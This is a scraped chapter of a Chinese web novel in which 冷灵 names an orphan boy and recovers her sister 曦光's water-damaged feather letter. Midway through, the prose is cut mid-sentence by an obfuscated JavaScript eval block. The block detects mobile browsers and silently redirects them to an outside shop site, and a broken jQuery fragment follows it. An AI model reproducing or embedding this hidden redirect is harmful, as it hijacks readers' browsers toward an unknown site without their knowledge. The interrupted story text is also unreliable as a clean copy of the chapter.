文趣网 > 其他小说 > 逆神第一咸鱼 > 57. 第五十七章
    冷灵走出村子的时候,天已经黑了。

    她走到村外的山坡上,终于停下来,回头看了一眼,那座村庄很小,灯火三两点,像一颗遗落在山间的碎星。

    榕树的方向黑漆漆的,她已经看不到那个男孩了。

    她低头看了看自己的掌心。

    漏出去的星光已经自己慢慢聚回来了,她没想漏的,但在那个男孩面前蹲下的时候,星光就像不听使唤的水一样流了出去。

    她不知道为什么会这样。

    也许是因为那个男孩让她想起了另一个人,一个也被人说不祥,也被孤立,也一个人蹲在角落里的存在。

    她握了握拳。星光在指缝间亮了亮,又暗了下去。

    "……你叫什么?"她自言自语,学着男孩的语气。

    "没有。"

    她停了一会儿,又说:"那你现在有了。叫忘川。"

    那名字说出口的一瞬间,她觉得有什么东西在胸腔里轻轻动了一下,不是痛,是一种被记住了的暖意。

    她自己也被记住了。虽然那个男孩不知道她是谁,但他记住了她的话。

    她继续走。

    星光在她身后拖成一条细细的,银白色的尾迹,在夜风中一点一点地消散,像一句被吹散了的话。

    她没有再回头。

    但她在心里说了一句,如果有一天我们再见面,我会告诉你,为什么给你起这个名字。不是因为忘川河会忘记。

    是因为忘川河,永远不会干。

    她不知道的是,很多很多年后,她会再一次见到他。

    那时候他已经长大了,穿着黑袍,腰间挂着铜镜,站在冥河渡口,面无表情地看着她。眼神中的情绪,早就有了变化。

    她不知道他是谁。

    但他知道她是谁。

    他等了她很久。

    在冷灵遇见那个男孩的时候,曦光正坐在日神殿的窗台上。

    日神殿很高,高得能看见整个天庭。

    但她不看天庭。她看的是天庭之外那片她们一起造的天幕,还有天幕上那些她妹妹画的星星。

    太阳黑子越来越多,越来越多。

    她的光在变暗,但她不在乎。

    她每天早晨准时升起太阳,这是她留下来的价值。如果连太阳都升不好,她就连最后这点用处都没了。

    流光星君偶尔会来看她。他给她带一些人间的小东西,一朵花,一块石子,一片被虫蛀过的叶子。

    "你今天好点了吗?"流光问。

    "我一直很好。"曦光道。

    "你的光又薄了。"流光提醒她。

    "是季节到了。"曦光脸上没什么表情。

    "光没有季节。"流光揭穿她。

    曦光没有接话。她把那片叶子放在掌心里看,金的,半透明的,叶脉像一条条细小的河流。

    半晌,她开口问道:"……她怎么样了?"

    流光星君知道她在问谁,答道:"听说还在走。没有停。"

    "走到哪了?"

    "不知道。但还在走。"

    曦光把叶子举起来,对着光看。

    光透过叶脉,在她脸上投下细细的,金色的纹路。"那就好。走着就好。走着说明还亮着。"

    流光看着她。她想说,你不想见见她吗,但她没有问。因为她知道答案。

    后来有一天,曦光用自己的一根羽毛写了一封信:妹妹,我会等你回来,无论多久。

    她把羽毛交给流光星君。流光星君把它送出了天庭。但羽毛被忘情司的巡逻者截获了,被丢进了忘川河里。

    金红色的羽毛在水面上漂了一会儿,然后慢慢沉了下去,像一盏被吹灭的灯。

    曦光不知道这封信没有送到。她只是每天坐在窗台上,等。

    等一个不会来的回信。等一个不知道什么时候才会出现的人。

    她等了很多很多年。

    等成了习惯。

    很多很多年后,冷灵在流浪途中路过一片水域,停下来喝水。

    水很清,能看见底。

    她低头的时候,看到水底有一根金色的羽毛,半透明的,被流水冲刷得边缘有些模糊了,但颜色还在,像一颗泡了很久的琥珀。

    她伸手把它捞出来。

    羽毛湿漉漉的,但碰到她指尖的时候,微微发了一下热,那种热她太熟悉了。

    金红色的,暖融融的,像早晨第一缕阳光晒在后颈上的温度。

    曦光的羽毛。

    冷灵盯着它看了很久。水从她的指缝间滴下来,一滴一滴,在石头上溅出小小的,碎裂的声音。

    "……你什么时候写的?"她轻声问。

    羽毛不会回答。羽毛只是安静地躺在她手心里,像一句被水泡软了的话。

    冷灵把它贴在自己的心口。

    银白色的光覆上去,把羽毛裹住。羽毛在星光里微微亮了亮,像一颗重新跳动起来的心。

    "我收到了。"她说。

    她不知道这封信写了什么,字迹已经被水泡得模糊不清了,只看得出一个回字和一个久字。

    但够用了。一个回字,就知道是等她回去,一个久字,就知道等了很久。

    她把羽毛折好,放进贴身的衣襟里。

    然后继续走。她的步子比之前快了一点。

    星光的尾迹也短了一点,不是她变强了,是她不再往地上漏了。

    她学会把光收住了,像学会把一句想说的话咽回去一样。

    那颗西南方向的星星又亮了一些。

    冷灵走远了。

    在她身后,那颗星星在夜空中微微闪了闪,像有人在看不见的地方朝它挥了挥手。

    而在更远更远的地方,日神殿的窗台上,金红色的光在那一天忽然亮了一瞬,只有一瞬。

    曦光低头看了看自己的掌心,发现自己的星光正在微微发烫。

    "……你收到了?"曦光轻声问。

    但没有人回答。

    不过她的嘴角弯了一下。

    那是一个很轻,很浅的笑,像一根被风吹歪了的蜡烛火焰。

    她没有等到回信。但她知道,她等的人,收到了。

    那就够了……

    冷灵把那根金红色的羽毛从水里捞出来之后,在岸边坐了很久。

    羽毛湿透了,软塌塌地贴在她的掌心,边缘被流水冲刷得有些模糊,但颜色还在,那种金红色,她闭着眼睛都能认出来。

    她把羽毛翻

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808644|210759||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    过来,对着天光看。

    上面确实有字。但字迹被泡得太久了,大部分已经化成了模糊的金色晕痕,只剩两三个字还勉强可辨,一个回字,一个久字。

    "回……久?"冷灵轻声念了一遍。

    她皱着眉,把羽毛凑近了看。"回去?回来?多久?很久?"

    羽毛不回答她。

    她叹了一口气,把羽毛贴在胸口。

    银白色的星光从她掌心渗出来,裹住那根金红色的羽毛,像给一件旧东西镀上了一层新的保护。

    水汽在星光中慢慢蒸发,羽毛的边缘微微卷曲起来,但颜色反而更亮了。

    "你到底写了什么?"冷灵对着羽毛说,"你写了这么多字,就剩两个能看的。你这封信写得也太不划算了吧。"

    羽毛在她掌心跳了跳,不是活的,是残余的光在她星辉的包裹下被激活了一瞬。

    像一颗被泡发了的种子,忽然想起了自己还是一粒种子。

    冷灵盯着它看了很久。

    然后她做了一个决定,她要把这封信复原。

    不是为了看内容,是为了证明它存在过。

    她不知道为什么要证明这个。也

    许是证明曦光在日神殿的窗台上坐着的那些年里,真的动过笔。真的试图联系她。不是她一个人的妄想。

    她把羽毛放进随身带着的那个小布袋里,布袋里还有晨光发绳,星辉手环,以及一口她从曦光留下的一堆锅里面顺手拿走的破锅的锅盖。

    虽然她也不知道走的时候,为什么把锅盖给顺了过来。

    羽毛塞进去之后,布袋鼓鼓囊囊的,像一只吃撑了的兔子。

    "你挤一挤。"冷灵拍了拍布袋,不知道在跟谁说,"里面还有位置。"

    布袋抖了一下。她把袋口扎紧,挂在腰带上,然后站起来,继续走。

    走了大约三天,她路过一座小镇。

    镇上有一个瞎眼的老婆婆在摆摊卖解字,面前摆着一块磨得发亮的石板和一盆清水。

    她看起来和所有摆摊算命的没什么两样,但冷灵走到她摊位前的时候,老婆婆忽然说了一句,"你身上有湿的东西。"

    冷灵的脚步顿住了,想了想道:"……我身上没有湿的。"

    "你有。湿了很久了。泡在水里很久了。"老婆婆道。

    冷灵看着她那双灰白色的,什么都看不见的眼睛,忽然觉得喉咙有点紧。"……您说的是什么意思?"

    "你把那个湿的东西拿出来。我看看。"老婆婆道。

    冷灵犹豫了一下,还是把布袋解开了。

    羽毛被取出来的时候,边缘还带着一丝水汽,虽然泡了很久,但可能因为被她的星光裹着,始终没有完全干透。

    老婆婆接过羽毛,在掌心里摸了摸,然后把指尖浸入面前那碗清水中。

    水面微微颤动了一下。

    "这封信,"老婆婆说,"被扔进了一条河里。扔进去的时候,字都还在。但水太急了,泡了太久,字迹就散了。"

    "您能复原吗?"冷灵连忙问道,语气中还带着一些紧张。

    此刻,她的内心十分复杂。

    她想要知道曦光要跟她说什么,又怕得到的消息不是自己想要的。